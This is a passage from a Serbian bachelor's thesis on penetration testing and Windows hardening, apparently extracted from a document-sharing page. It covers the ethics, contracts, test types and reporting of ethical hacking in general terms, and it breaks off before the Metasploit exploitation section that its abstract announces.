32
Probojno testiranje i ojačanje Windows sistema - Diplomski rad - Jovan Katić dr Snežana Vulović IT 892 _____________ mentor

Probojno testiranje i ojačanje Windows sistema

Embed Size (px)

DESCRIPTION

Probojno testiranje i ojačanje Windows sistema - diplomski

Citation preview

Page 1: Probojno testiranje i ojačanje Windows sistema

Probojno testiranje i ojačanje

Windows sistema

- Diplomski rad -

Jovan Katić dr Snežana Vulović

IT 892 _____________ mentor

Page 2: Probojno testiranje i ojačanje Windows sistema

Izvod

Ovaj rad podeljen je na tri dela. U prvom delu opisani su principi i moralni aspekti vezani

za etičko hakerisanje. Drugi deo opisuje metodologiju i principe ispitivanja mogućnosti proboja.

Na kraju, u trećem delu je pomoću Metasploit alata dostupnog u okviru Linux distribucije

BackTrack 5 prikazan jedan od načina eksploatisanja Windows sistema.

Abstract

This work consists of three parts. In first part principles and moral aspects of ethical

hacking are described. Second part describes the methodology and principles of penetration

testing. And in the end an example of exploiting Windows system by using Metasploit tool,

available through BackTrack 5 Linux distribution, is shown.

Page 3: Probojno testiranje i ojačanje Windows sistema

Sadržaj

Page 4: Probojno testiranje i ojačanje Windows sistema

1. Etičko hakerisanje

Eksplozivan razvoj Interneta doneo je mnogo dobrih stvari: elektronsko poslovanje, lak

pristup mnogobrojnim on-line prodavnicama i njihovom prodajnom asortimanu, kolaborativno

programiranje, e-mail, nove načine za oglašavanje i distribuciju podataka… Kao i sa svakim

tehnološkim napretkom, takoĎe dolazi i tamna strana: kriminalni hakeri. Vlade, kompanije, kao i

privatna lica širom sveta teže da budu deo ove revolucije, ali se isto tako boje da će neki haker

provaliti na njihov Web server i promeniti njihov logo sa pornografijom, čitati njihov mail,

krasti njihove brojeve kreditnih kartica sa on-line prodavnica, ili postaviti softver koji će tajno

slati informacije o tajnama organizacije na otvoreni Internet. Ovakve kao i slične probleme,

etički haker može da reši.

Termin haker (eng. hacker) danas ima, u najmanju ruku, dvostruko značenje u

računarskoj industriji. Originalno je definisan na sledeći način :

Haker: imenica, 1. Osoba koja uživa u učenju detalja

o računarskim sistemima i proširivanju svog znanja i

sposobnosti – obrnuto od većine korisnika računara,

koji preferiraju da uče samo minimum onoga što im je

potrebno. 2. Onaj koji oduševljeno programira ili ko

uživa u programiranju raĎe nego da teoretizuje o

programiranju.

Ovakav laskav opis često se proširuje na reč hakerisanje (eng. hacking), koja služi da

opiše brzo učenje novog programa, ili pravljenje izmena u postojećem, obično komplikovanom

softveru.

Hakeri

Kada su računari postali dostupni širem krugu ljudi na svetskim univerzitetima, broj

korisnika se povećao. Grupe koje koriste računare proširile su se s pripadnika raznih

istraživačkih grupa i računarskih katedri na pojedince koji su počeli računare da vide kao

izuzetno fleksibilan alat. Bez obzira na to šta su radili s računarima, pripadnici ovih grupa su se

trudili da ih što više i češće koriste.

Zbog porasta popularnosti i visoke cene računara u to vreme, pristup računarima je

uglavnom bio ograničen. Kada bi bili odbijeni da pristupe računaru, neki korisnici bi pokušali da

zaobiĎu postavljena pravila pristupa. Oni bi krali lozinke ili brojeve naloga gledajući nekom

preko ramena dok se taj neko priključuje na sistem, ili bi pokušavali da iskoriste sistemske

greške koje bi im omogućile da zaobiĎu pravila, ili čak da preuzmu kontrolu nad sistemom. Oni

su sve to radili samo da bi mogli da pokrenu programe koje oni hoće, ili da promene ograničenja

pod kojima njihovi programi rade.

U početku su ovi upadi na sistem bili bezopasni, a najveća šteta je bila to što se kralo

procesorsko vreme ili prostor na memorijskim medijumima. U nekim slučajevima, upadi bi

prerastali u bezopasne šale. S vremena na vreme, pojedini nepažljivi ili netalentovani korisnici

Page 5: Probojno testiranje i ojačanje Windows sistema

nenamerno bi ugasili sistem, ili oštetili sistemske datoteke, pa bi administratori morali ponovo da

startuju sistem i da izvrše potrebne popravke. Takvi korisnici bi ponekad, nakon otrkivanja

nedozvoljenih aktivnosti i ponovne zabrane pristupa sistemu, počeli da reaguju destruktivno.

Ukoliko bi destruktivna aktivnost bila značajna – zbog nedostupnosti sistema, ili veličine

oštećenja na sistemu – ona bi postala „vest“ i novinske agencije bi je objavile. Umesto da koriste

tačan termin „kompjuterski kriminal“, mediji počinju da koriste termin haker kako bi opisali

osobu koja upada na računarske sisteme zbog zabave, osvete ili zarade.

Pošto zvati nekoga haker originalno znači kompliment, profesionalci u oblasti računarske

sigurnosti preferiraju da koriste druge termine za one hakere koji su se okrenuli tamnoj strani

hakerisanja. U svakodnevnom govoru i dalje možemo čuti da se termin haker koristi u oba

značenja – u pozitivnom, koje podrazumeva posvećenost te osobe tehnologiji i uvećanju znanja,

ali i u negativnom i destruktivnom, gde je to znanje iskorišćeno za ilegalne kriminalne aktivnosti.

Postoji i dalje jedan nivo blagonaklonog gledanja u javnosti na problem hakera čak i kada oni

sprovode aktivnosti koje se teško mogu podvesti pod zakonite i dobronamerne.

Crni i beli šeširi

Izraz haker sa belim šeširom (eng. white hat

hacker) ili etički haker (eng. ethical hacker) u oblasti

informacionih tehnologija jeste lice koje je etički protiv

zloupotrebe računarskih sistema. Ovaj termin se često

koristi da se opišu oni koji pokušavaju da prodru u tuĎe

sisteme i mreže kako bi pomogli vlasnicima tih sistema

da postanu svesni sigurnosnih propusta. Mnogo od njih

su zaposleni u kompanijama koje se bave sigurnošću i

pomažu im da otkriju probleme i poboljšaju proizvode i

usluge. Dok hakeri sa belim šeširima pokušavaju da

odbrane računarske sisteme, hakeri sa crnim šeširima

(eng. black hat hackers), tj. zlonamerni hakeri – „loši

momci“ – pokušavaju da upadnu u tuĎe mreže i sisteme,

ukradu poverljive informacije i/ili nanesu neku štetu.

Obe vrste hakera koriste slične metode i alate, ali sa

različitim ciljem.

Deset zapovesti računarske etike

Skoro u svakoj državi postoje odreĎene zakonske norme koje definišu koje su akcije u

informacionim i računarskim sistemima i mrežama dozvoljene, a koje nisu. Ove norme se

razlikuju od države do države (zakonska regulativa u ovoj oblasti verovatno je najdalje otišla u

SAD) ili su srodne za grupu zemalja, kao što je recimo Evropska unija.

Institut za računarsku etiku (The Computer Ethics Institute) je neprofitna istraživačka

organizacija koju čine Brookings Institute, IBM, The Washington Consulting Group i

Washington Theological Consortium. Oni su objavili 10 zapovesti računarske etike :

Page 6: Probojno testiranje i ojačanje Windows sistema

1. Ne koristi računar da povrediš drugog.

2. Ne mešaj se ne pozvan u tuĎ rad na računaru.

3. Ne njuškaj po tužim datotekama.

4. Ne koristi računar da bi lažno svedočio.

5. Ne koristi računar da bi krao.

6. Ne koristi komercijalni softver koji nisi platio.

7. Ne koristi tuĎe računarske resurse bez odobrenja ili nadoknade.

8. Ne prisvajaj sebi zasluge za tuĎu intelektualnu svojinu.

9. Razmisli o posledicama koje će program koji pišeš ili sistem koji projektuješ imati na

društvo.

10. Koristi računar samo na način koji je u skladu s poštovanjem drugih.

Ukoliko sebe smatrate za hakera, lako ćete odrediti svoju boju šešira shodno broju

zapovesti koje poštujete. Napomena : Ako prekršite neku zapovest nećete otići u pakao, ali se

može desiti da odete u zatvor.

Šta je etičko hakerisanje ?

S povećanjem primene Interneta, sigurnost računarskih i informacionih sistema i

računarskih mreža postala je glavna briga za preduzeća, organizacije i vladine institucije. Svi oni

žele da budu u mogućnosti da iskoriste Internet za elektronsko poslovanje, reklamiranje, širenje i

veću dostupnost informacija, kao i za druge stvari, ali su isto tako zabrinuti zbog mogućnosti da

budu „uhakovani“. Istovremeno, potencijalni kupac ovih usluga želi da zadrži kontrolu nad

ličnim i osetljivim informacijama (brojevi kreditnih kartica, socijalnog osiguranja tj. JMBG kod

nas, telefona ili kućnih adresa).

U nastojanju da donekle reše problem, organizacije su zaključile da je nezavisni stručnjak

za sigurnost koji će pokušati da upadne na njihov sistem, najbolji način da se proveri opasnost od

upada u sistem. Ovo donekle podseća na nezavisnog revizora koji će proveriti knjigovodstvo u

nekoj organizaciji i ukazati na propuste. U slučaju računarske sigurnosti, etički hakeri koriste iste

tehnike i alate kao i potencijalni napadač, ali za razliku od napadača, ne oštećuju sistem i ne

kradu informacije, već procenjuju sigurnost sistema i vlasnika izveštavaju o sigurnosnim

propustima na sistemu i o načinima uklanjanja grešaka i propusta. Ovaj način procene sigurnosti

sistema upotrebljava se još od prvih dana upotrebe računara.

Jedno od prvih etičkih hakerisanja korišćenih kao evaluacija sigurnosti obavile su

Vazduhoplovne snage SAD na operativnom sistemu Multics koji bi potencijalno koristili kao

sistem sa dva nivoa (secret/top secret). Njihova evaluacija je pokazala da iako je Multics znatno

bolji od drugih konvencionalnih sistema, i on ima slabosti u hardverskoj, softverskoj i

proceduralnoj zaštiti koje se mogu pronaći bez mnogo truda. Autori su obavljali testove pod

realnim okolnostima, kako bi rezultati što verodostojnije predstavljali kakve sve vrste pristupa

napadač može potencijalno ostvariti. Njihovi testovi su obuhvatali sve od jednostavnog

prikupljanja informacija do čistih napada na sistem koji mogu narušiti njegov integritet. S

porastom primene računarskih mreža i Interneta, studije ranjivosti računarskih mreža počele su

da se pojavljuju i van vojnih kompleksa.

Page 7: Probojno testiranje i ojačanje Windows sistema

SATAN

Jedna od najznačajnijih studija bio je rad D. Farmera i W.Z. Venema, „Improving the

Security of Your Site by Breaking into it“, koji je originalno poslat na Usenet mrežu decembru

1993. godine. Oni su javno razmatrali, možda po prvi put, korišćenje hakerskih tehnika za

procenjivanje sigurnosti nekog sistema. Sa ciljem da se podigne prosečan nivo sigurnosti na

Internetu i intranetu, oni su opisali kako su uspeli da sakupe dovoljno informacija o svojim

metama da bi mogli da ugroze sigurnost tih sistema ako to budu hteli da urade. Dali su par

specifičnih primera kako se informacije mogu sakupiti i iskoristiti da bi se dobila kontrola nad

sistemom, i kako takav napad može da se spreči.

Farmer i Venema su odlučili da svoj izveštaj postave na Internet

kako bi drugi mogli da pročitaju i da nauče iz njega. Pored toga, shvatili su

da su testiranja koja su obavljali postala toliko stručna i suviše kompleksna,

pa mogu oduzeti dosta vremena, ili biti isuviše dosadna za tipičnog

administratora sistema koji to radi svakodnevno. Zbog toga su skupili sve

alate koje su koristili tokom ispitivanja, zapakovali ih u jednu aplikaciju,

relativno jednostavnu za korišćenje, i taj alat dali svakome ko je hteo da

preuzme. Taj program, koji su nazvali Security Analysis Tool for Auditing

Networks, ili kratko SATAN, za kratko vreme je stekao veliku medijsku

popularnost. Mnoga od tih reagovanja bila su negativna, zato što su mogućnosti alata shvaćene

pogrešno. Alat nije automatizovani hakerski program koji bi upao na sistem i ukrao nečije tajne,

to je alat koji izvodi ispitivanja koja daju informacije o ranjivosti sistema i savete kako da se one

otklone. Alat SATAN pored ispitivačkih mogućnosti koje poseduje ide i korak dalje, pružajući

savete o otklanjanju naĎenih problema. Alat ne daje objašnjenje kako te ranjivosti mogu da se

iskoriste, jer to nije bio cilj ovog programa.

Karakteristike etičkih hakera

Etički hakeri pre svega moraju da budu osobe od poverenja. Ispitujući sigurnost sistema

klijenta, etički haker može da otkrije informacije o klijentu koje bi trebalo da ostanu tajna. U

mnogim slučajevima, objavljivanje tih informacija može dovesti do pravih napada, koji mogu da

prouzrokuju finansijske gubitke te firme. Tokom procene sigurnosti, etički haker često drži

„ključeve kompanije“, i zato mora da bude osoba od poverenja jer će imati pristupa osetljivim

informacijama. Osetljivost podataka koji se prikupljaju prilikom ovog ispitivanja, zahteva da na

snagu stupe stroge mere zaštite kako bi se osigurala sigurnost sistema koji etički haker testira:

laboratorije sa ograničenim pristupom i sa fizičkim obezbeĎenjem, zidovi od poda do plafona,

više sigurnih Internet veza, sef za čuvanje poverljive dokumentacije koja je dobijena od klijenta,

jaka kriptografija za zaštitu elektronskih podataka i izolovana mreža za testiranje.

Etički hakeri najčešće imaju veliko iskustvo u poslu sa računarima i računarskim

mrežama, programiranjem, instalacijom i administriranjem popularnih operativnih sistema

(UNIX, Windows Server) koji se koriste na ciljnim računarima. Ove osnovne veštine su

proširene detaljnim poznavanjem hardvera i softvera poznatih proizvoĎača računara i mrežne

opreme. Vreštine administriranja sistema i mreža neophodne su da bi se ispitala ranjivost

sistema, ali su isto tako važne kada se – posle ispitivanja – priprema izveštaj za klijenta. Kao i u

Page 8: Probojno testiranje i ojačanje Windows sistema

sportu ili ratovanju, poznavanje veština protivnika veoma je važno ako hoćeš da uspeš. U svetu

računarske sigurnosti, posao etičkih hakera je uvek teži, jer oni, osim samih tehnika napada koje

koriste zlonamerni hakeri, moraju da poznaju i načine otkrivanja i zaštite od napada.

Nasuprot scena koje često možemo videti u filmovima, gde napadač upada na tuĎi

računar ili mrežu bez veće muke, lozinku podaĎa u najgorem slučaju iz trećeg pokušaja, a zatim

u narednih nekoliko mikrosekundi zaobilazi sva prava pristupa i ostvaruje administratorske

privilegije, etičko hakerisanje zaista zahteva dosta strpljenja i vremena. Strpljivost je najvažnija

osobina etičkih hakera zato što oni moraju sebe da stave u poziciju zlonamernih hakera, koji su

inače poznati po tome da su veoma strpljivi i voljni da nadgledaju sistem danima ili nedeljama

čekajući priliku da upadnu u sistem. Tipična procena može da zahteva nekoliko dana mučnog

rada koji teško može da se automatizuje. Neki delovi procene moraju da se izvrše van regularnog

radnog vremena kako bi se izbeglo mešanje s regularnim poslovnim procesom na živim metama,

ili da bi se simulirao tajming realnog napada. Kada naiĎu na sistem koji im nije poznat, etički

hakeri će provesti vreme učeći o sistemu i pokušaće da mu naĎu slabosti.

Kada se uzmu u obzir navedene kvalifikacije, postavlja se pitanje pronalaženja

pojedinaca sposobnih za obavljanje etičkog hakerisanja. Najbolji kandidati za etičke hakere jesu

osobe koje imaju uspešno objavljene naučne radove, radnu istoriju koja ukazuje na dobro

poznavanje oblasti sigurnosti, ili osobe koje su napravile popularne sigurnosne programe sa

otvorenim kodom. Jedno od pravila kojeg se pridržavaju velike kompanije jeste da se ne

unajmljuju bivši zlonamerni hakeri. Iako protivnici ovog pravila iznose argument da samo „pravi

haker“ poseduje veštinu neophodnu da se posao uspešno obavi, pravilo o apsolutnom poverenju

klijenta eliminiše takve kandidate. Uzmimo za primer pretpostavku da škola treba da unajmi

vatrogasca koji će paziti da ne doĎe do požara na prostoru škole. Recimo da se na konkurs za

posao, izmeĎu ostalih, prijavio i jedan iskusni bivši palikuća koji zaista zna dosta o tome kako da

zapali ili ugasi vatru (možda čak i bolje od ostalih kandidata). Da li bi se roditelji dece koja

pohaĎaju tu školu zaista osećali sigurno ukoliko se izabere takav čovek za vatrogasca ? Dakle,

ova odluka je opravdana zato što klijent želi da bude potpuno siguran da informacije kojima će

etički haker raspolagati prilikom ispitivanja sistema, neće procureti u javnost, niti će ih etički

haker upotrebiti u zlonamerne svrhe.

Šta etički hakeri rade ?

Etički haker, obavljajući svoj posao traži odgovore na tri osnovna pitanja :

Šta napadač može da vidi na ciljnom sistemu ?

Šta napadač može da uradi sa tim informacijama ?

Da li je neko primetio napadačev napad ili uspeh ?

Iako je značaj prvog i drugog pitanja očigledan, treće pitanje je još značajnije, iako na

prvi pogled ne izgleda tako. Ako administratori ne primete da neko pokušava da napadne sistem,

napadač može (što znači i da hoće), provesti nedelje ili mesece pokušavajući da upadne na

sistem, i u većini slučajeva će to i uspeti.

Page 9: Probojno testiranje i ojačanje Windows sistema

Kada klijent traži procenu, potrebno je da se pre samog posla obavi dosta razgovora i

papirologije. Razgovori počinju sa odgovorima klijenata na par pitanja sličnih onima koje su

postavljali Garfinkel i Spafford :

Šta pokušavate da zaštitite ?

IznenaĎujuće velik broj klijenata ima problema da precizno odgovori na prvo pitanje. Na

primer, medicinski centar će najverovatnije reći da želi da zaštiti „informacije o

pacijentima“, inženjerska firma „nov dizajn proizvoda“, a firma koja se bavi

elektronskom trgovinom „bazu korisnika“. Svi ovi odgovori su isuviše kratki, jer definišu

mete samo u globalnom smislu. Klijent uglavnom mora da se navodi kako bi mogao

precizno da definiše sve informacije čiji gubitak može mnogo uticati na dalje poslovanje

firme ili njenih klijenata. Ti podaci moraju da obuhvate i sekundarne izvore informacija,

kao što su i imena i adrese zaposlenih (opasnost za privatnost i, u opštem slučaju,

sigurnost), informacije o računarima i mreži koje bi bile od pomoći napadaču, kao i

informacije o organizacijama sa kojima klijent saraĎuje (koja daje alternativnu putanju do

ciljnog sistema kroz, možda, manje siguran sistem partnera).

Od čega želite da se zaštitite ?

Kompletan odgovor na drugo pitanje etičkom hakeru daje mnogo više informacija od

odgovora na prvo pitanje, ali takoĎe zahteva da navodite klijenta koji najčešće nije

svestan veličine štete koju može da prouzrokuje uspešan napad odreĎenog tipa na

računarski sistem ili mrežu (ili bilo koje dobro koje je u vlasništvu klijenta). Nivo štete

može da varira od jedna neprijatnog iskustva do sigurne pretnje koja može da nanese

štetu po poslodavce i smanjenje profita. Na primer, Neka je resurs koji treba da se zaštiti

Web stranica. Nedostupnost ovog resursa u jednom slučaju može da bude samo blaga

neprijatnost (klijen samo reklamira proizvod na Internetu, a reklama je dostupna i na

drugim mestima), a isto tako može da bude velika pretnja za profit (klijent je kompanija

koja se bavi elektronskom trgovinom). Primer napada kada je u pitanju kompanija koja se

bavi e-trgovinom su serija DoS (Denial of Service) napada izvršenih u februaru 2000.

godine na sajtove kao što su eBay, Yahoo!, CNN i drugi. Za vreme ovih napada posetioci

nisu mogli da otvore ove Web stranice što je prouzrokovalo gubitke profita tih

kompanija. TakoĎe, neki klijenti su pod pogrešnim utiskom da njihova Web lokacija (ili

neki drugi resurs) neće biti na meti. Onli često navode sledeće razloge : „nema ništa

zanimljivo na njemu“, ili „hakeri nikad nisu čuli za moju kompaniju“. Klijenti ne

shvataju da je svaka Web stranica i svaka privatna mreža povezana na Internet,

potencijalna meta hakera. Na primer, Web administratori u UNICEF-u mislili su da

nijedan haker neće hteti da napadne njihovu lokaciju. Januara 1998. hakeri su promenili

njihovu Web stranicu.

Page 10: Probojno testiranje i ojačanje Windows sistema

Koliko vremena, truda i novca ste voljni da potrošite kako biste dobili odgovarajuću zaštitu ?

Odgovor na ovo pitanje je složen i klijenta, pre nego što da odgovor, treba upozoriti na

činjenicu da u troškove sigurnosti računara i mreže spadaju : realni novčani troškovi

(troškovi koji se odnose na savetovanje o sigurnosti, zapošljavanje potrebnog osoblja i

postavljanje odgovarajućeg hardvera i softvera), troškovi upotrebljivosti (sigurniji sistem

je obično i komplikovaniji i manje komforan za korišćenje, a samim tim može zahtevati i

dodatno obučavanje osoblja koje koristi taj sistem) i troškovi performansi mreže i

računara (što se više vremena potroši na obezbeĎivanje sigurnosti sistema, manje

vremena se može potrošiti na realne probleme korisnika).

Get out of jail free card

Kada klijent odgovori na tri navedena pitanja, pravi se plan za identifikovanje sistema

koji će biti ispitivan, način ispitivanja i sva moguća ograničenja ispitivanja. Na osnovu tog plana

se pravi ugovor izmeĎu klijenta i etičkih hakera, koji pišu obe strane zajedno. Taj ugovor, poznat

pod nazivom „karta za izlazak iz zatvora“ (eng. get out of jail free card) štiti etičke hakere od

krivičnog gonjenja, pošto je većina aktivnosti koje oni obavljaju pri proceni sigurnosti, nelegalna

u mnogim zemljama. Ugovor sadrži precizan opis ispitivanja – obično u obliku mrežnih adresa

ili pristupnih brojeva modema sistema koji će se ispitivati. Preciznost u ovoj fazi je od izuzetnog

značaja, pošto mala greška može da dovede do evaluacije pogrešnog klijentovog sistema, ili u

najgorem slučaju evaluaciju sistema neke druge firme.

Pristup „No-holds-barred“

Kada je ciljni sistem identifikovan, u ugovoru mora da bude navedeno da će se sistem

ispitivati. Najbolja procena se radi takozvanim „no-holds-barred“ pristupom (testiranje bez

ograničenja). To znači da etički haker može da proba dve što bi dovelo do toga da dobije

kontrolu nad sistemom ili da ga kompromituje. Iako je ovaj pristup veoma realističan i koristan,

neki klijenti se suzdržavaju da na taj način ispituju svoj sistem. Klijenti imaju više razloga za to,

a jedan od najčešćih je činjenica da se na ciljnom sistemu odvijaju normalni poslovni procesi, pa

mešanje u njegov rad može da ugrozi interese organizacije. Takvim klijentima treba napomenuti

da je to i razlog zašto bi trebalo primeniti ovaj pristup. Napadač neće raditi po pravilima klijenta.

Ako je sistem baš toliko važan za opstanak organizacije, potrebno je da se ispita što rigoroznije.

U svakom slučaju, klijent treba da bude svestan rizika koji proizilazi od ove procene. Rizici

uključuju neplanirane alarme i padanja sistema, degradirane sistemske i mrežne performanse,

nedostupnost sistema, povećanje veličine dnevničkih datoteka.

Najčešća ograničenja koja klijenti nameću etičkim hakerima jesu sledeća :

Prekid ispitivanja nakon otkrivanja prvog propusta. Neki klijenti insistiraju da procena treba da se zaustavi i da budu obavešteni čim etički haker pristupi njihovoj mreži ili

nekom od njihovih sistema. Ovakvo pravilo ne bi trebalo da se primenjuje, zato što ne

dozvoljava da klijent nauči ono što će etički haker moći dalje da otkrije o njihovom

sistemu i može da dovede do toga da klijent stekne lažan utisak o sigurnosti svog sistema

Page 11: Probojno testiranje i ojačanje Windows sistema

nakon otklanjanja sigurnosnog propusta koji je etički haker uočio. Procena sigurnosti

treba da se nastavi kako bi se našli i ostali sigurnosni propusti.

Izbor trenutka procene sigurnosti. Klijent će najverovatnije želeti da izbegne situaciju obavljanja procene u toku radnog vremena. Takvo ograničenje nije preporučljivo jer

napadač ne bira trenutak koji klijentu odgovara, ali nije ni od presudnog značaja za

ispitivanje. U obzir treba uzeti činjenicu da napadi obavljeni tokom radnog vremena

mogu lakše da se sakriju (veća aktivnost na sistemu, pa je lakše sakriti napad), što znači

da je ispitivanje manje rigorozno. Na primer, sistemi za detekciju upada mogu biti

„labavije“ konfigurisani u radno vreme, što znači da se u nekim situacijama neće oglasiti

upozorenjem. Bez obzira na dogovoreno vreme, klijent treba da obezbedi jednu ili više

osoba koja će u toku testiranja biti dostupne i moći da odgovore na pozive etičkog

hakera, u slučaju da rad sistema ili mreže postane ozbiljno ugrožen procenom ili u slučaju

da je otkriven fundamentalan sigurnosni propust koji bi trebalo odmah prijaviti.

Procena „u poslednjem trenutku“. Uobičajeno je da potencijalni klijenti odgaĎaju

procenu svog sistema sve dok ne ostane samo nekoliko nedelja ili dana pre nego što

sistem mora da se uključi u eksploataciju. Takva procena je od male koristi zato što

implementacija ispravki za naĎene sigurnosne probleme može da uzme više vremena

nego što je raspoloživo i može da donese nove sistemske probleme. Osim toga, u nekim

slučajevima etički haker neće moći da otkrije sve sigurnosne nedostatke u tom

vremenskom periodu.

Da bi dobio ispravnu procenu, klijent mora da bude upozoren da ne sme obaveštavati

zaposlene da će se obaviti ispitivanje. U suprotnom etički haker može biti doveden u situaciju da

se susretne sa elektronskom verzijom klijentovog radnika koji ide korak ispred njega i „zatvara

prozore i vrata“ sistema. Što je manje ljudi u organizaciji koji znaju da se planira procena, to je

manja verovatnoća da će se to saznanje odraziti na stvarno sigurnosno stanje, tj. da će se nivo

sigurnosti prividno povećati. Dodatno, klijent mora da bude spreman na moguću negativnu

reakciju zaposlenih – zaposleni u kompaniji mogu da shvate ovu „iznenadnu inspekciju“ kao

pretnju za posao, pa zato rukovodeći tim mora biti spreman da razuveri takvog zaposlenog.

Sam čin etičkog hakerisanja

Kada se ugovor definiše, napiše i potpiše, moguće je početi ispitivanje koje je predviĎeno

i strogo definisano ugovorm. Potrebno je napomenuti da samo ispitivanje donosi neki rizk za

klijenta, pošto bi zlonamerni haker mogao da snima saobraćaj izmeĎu etičkog hakera i sistema i

tako doĎe do istih saznanja do kojih je došao etički haker. Ovo se odnosi na slučajeve ispitivanja

udaljene mreže i, donekle, udaljene dial-up mreže. To znači da, ukoliko etički haker identifikuje

slabost u sigurnosti klijenta, napadač može doći u situaciju da iskoristi tu grešku u sistemu. To je

ozbiljan problem, pošto se aktivnosti zlonamernog hakera mogu prikriti aktivnostima etičkog

hakera. Najbolji pristup rešenju ovog problema je da etički haker koristi više javnih adresa s

kojih će slati podatke ka mreži i da te adrese s vremena na vreme menja. Etički haker mora da

održava dnevnik ispitivanja radi pripreme konačnog izveštaja; dnevnik je koristan i u slučaju da

se nešto neplanirano dogodi. U ekstremnim slučajevima, moguće je postaviti neke od sistema za

detekciju napada na metu, kako bi se osiguralo da svi testovi dolaze s računara etičkog hakera.

MeĎutim, to je teško uraditi, a da se ne upozori klijentovo osoblje i može takoĎe iziskivati

saradnju sa klijentovim davaocem Internet usluga.

Page 12: Probojno testiranje i ojačanje Windows sistema

Ukoliko klijent zahteva, etički haker može da ispita da li je klijent otporan na napade

virusima preko e-pošte ili Interneta, mada je mnogo korisnije da klijent postavi jak antivirusni

program čije definicije redovno ažurira, a da sve sumljive poruke prosleĎuje odgovrajućim

centrima na analizu i pronalaženje adekvatne „vakcine“ ukoliko se ispostavi da je u pitanju nova

verzija virusa.

Slika 1 Različiti načini ispitivanja

Udaljena mreža. Ovaj test simulira napad preko Interneta. Primarnu odbranu koja mora biti savladana čine granična mrežna barijera, ruteri za filtriranje saobraćaja i Web serveri.

Udaljena dial-up mreža. Ovaj test simulira napad na ulazne modemske linije klijenta.

Primarna odbrana koju zlonamerni haker mora da savlada jesu mehanizmi za proveru

identiteta. Ovi testovi moraju da se urade u saradnji sa lokalnom telefonskom

kompanijom.

Lokalna mreža. Ovaj test simulira zaposlenog ili neku drugu ovlašćenu osobu koja ima legalnu vezu ka kompanijskoj mreži. Primarna zaštita koja mora da se porazi su mrežne

barijere, interni Web serveri, serverske sigurnosne mere i sistem e-pošte.

Ukraden prenosni računar. U ovom testu se simulira kraĎa prenosnog računara neke važne osobe, kao što je visoko rangirani rukovodilac. Dakle, računar je uzet od

zaposlenog bez pretgodnog upozorenja i dat je etičkom hakeru. Etički haker proučava

računar tražeći lozinke smeštene u dial-up softveru, podatke od značaja za kompaniju,

lične informacije i slično. Pošto većina korisnika praktikuje da čuva svoje lozinke na

računarima, etički haker će obično moći da prenosni računar iskoristi za pristup

korporativnoj mreži preko telefonskih linija, sa svim privilegijama tog korisnika.

Društveni inženjering. Ovaj test otkriva da li će osoblje organizacije pod odreĎenim

okolnostima dati informacije nekome. Tipičan primer može da bude uljez koji zove

Page 13: Probojno testiranje i ojačanje Windows sistema

tehničku podršku kompanije, tražeći brojeve telefona ulaznih modema. Zaštita od

ovakvog napada je najteža, zato što su umešani ljudi i njihova lična priroda. Većina ljudi

je uglavnom susretljiva, pa im izgleda sasvim bezazleno da nekome ko deluje izgubljeno

objasne gde se nalazi računarska soba, ili da puste u zgradu nekoga ko kaže da je

zaboravio identifikacionu karticu kod kuće. Jedina zaštita od društvenog inženjeringa

jeste povećanje svesti zaposlenih o mogućnostima ovakvih napada.

Fizički upad. Ovaj test otkriva mogućnost fizičkog upada u zgradu kompanije. Ovakav test zahteva specijalne pripreme, zato što će etički haker, ukoliko ne uspe da proĎe

obezbeĎenje neotkriven, imati posla sa radnicima obezbeĎenja (koji nisu informisani o

testu, jer su i oni sami predmet ispitivanja), a verovatno i sa policijom. Kada se haker

naĎe u zgradi, veoma je važno da ne bude otkriven. Jedna od tehnika koju napadači

koriste da bi ostali neotkriveni jeste da nose dokument na kome se jasno vidi logotip

kompanije. Takav dokument može da se naĎe meĎu otpatcima koje kompanija baca, ili

da se uzme sa nekog stola kad napadač uĎe u zgradu. Primarna odbrana od ovakvog

napada jeste jaka sigurnosna politika, pouzdani radnici obezbeĎenja, nadgledanje i

beleženje svih ulazaka i izlazaka i povećanje opšte svesti o problemu.

Etički haker može da uradi svaki od navedenih testova iz tri perspektive – kao „loš

momak“ spolja (eng. outsider), „semi-outsider“ i kao „loš momak“ iznutra (eng. insider), tj.

regularni korisnik.

„Loš momak“ spolja delimično poznaje ciljni sistem, Jedine informacije koje ima o njemu dostupne su mu preko javnih izvora ili Interneta. Ovaj test predstavlja uobičajenu

pretnju sistemu. Dobro branjeni sistem neće dozvoliti da takav napadač uradi bilo šta.

„Semi-outsider“ ima ograničen pristup jednom od računara ili delu mreže kompanije.

Ovo testiranje je pogodno za sledeći scenario : banka dozvoljava svojim korisnicima da

pristupe informacijama svog naloga koristeći specijalan softver i modem. Dobro branjeni

sistem dozvoliće napadaču samo da pristupi svojim podacima, ali ne i ostalima.

„Loš momak“ iznutra, tj. regularni korisnik, ima validan pristup makar jednom od računara ili delu mreže kompanije. Ovim se testira može li neko iznutra sebi da poveća

prava pristupa, odnosno da prošiti skup prava koja mu je dodelio administrator sistema.

Dobro branjeni sistem dozvoliće insajderu samo da pristupi onim podacima i nad njima

obaci samo one akcije koje mu je administrator dodelio odgovarajućim polisama.

Konačan izveštaj

Konačan izveštaj je skup saznanja do kojih je etički haker došao tokom procene

sigurnosti sistema ili mreže. Detaljno su opisane pronaĎene ranjivosti i procedure za njihovo

otklanjanje. Ukoliko su aktivnosti etičkog hakera otkrivene, opisano je reagovanje osoblja

klijenta i predlozi za poboljšanje reakcija. Ukoliko se pri ispitivanju sistema društvenim

inženjeringom naiĎe na probleme, daje se predlog kako povećati svest osoblja klijenta za takve

stvari. Ovo je i glavni cilj cele vežbe – nije dovoljno samo ukazati klijentu da je njegov sistem

ranjiv, već ga i posavetovati kako se takav sistem može zakrpiti i kako da ostane zakrpljen.

Tehnike koje su korišćene za vreme ispitivanja se nikad ne otkrivaju, zato što osoba koja

predaje izveštaj ne može da bude sigurna ko će sve da doĎe u posed tog dokumenta jednom kada

izaĎe iz ruku klijenta. Na primer, zaposleni bi možda hteo da isproba neke tehnike na svom

Page 14: Probojno testiranje i ojačanje Windows sistema

računaru, da pokuša da testira sisteme u firmi, ili čak da opisane tehnike primeni na nekoj drugoj

kompaniji.

Sama dostava izveštaja je veoma delikatna stvar. Ako su otkrivene ranjivosti, izveštaj

može da bude izuzetno opasan ako padne u pogrešne ruke. Konkurencija može da iskoristi te

podatke za industrijsku špijunažu, a zlonamerni haker ih može upotrebiti za upad na računar

klijenta. U krajnjem slučaju, neki „šaljivdžija“ može da postavi ceo izveštaj na Internet. Izveštaj

se dostavlja u papirnoj varijanti, direktno ovlašćenom licu klijenta. Kada se izvrši procena, po

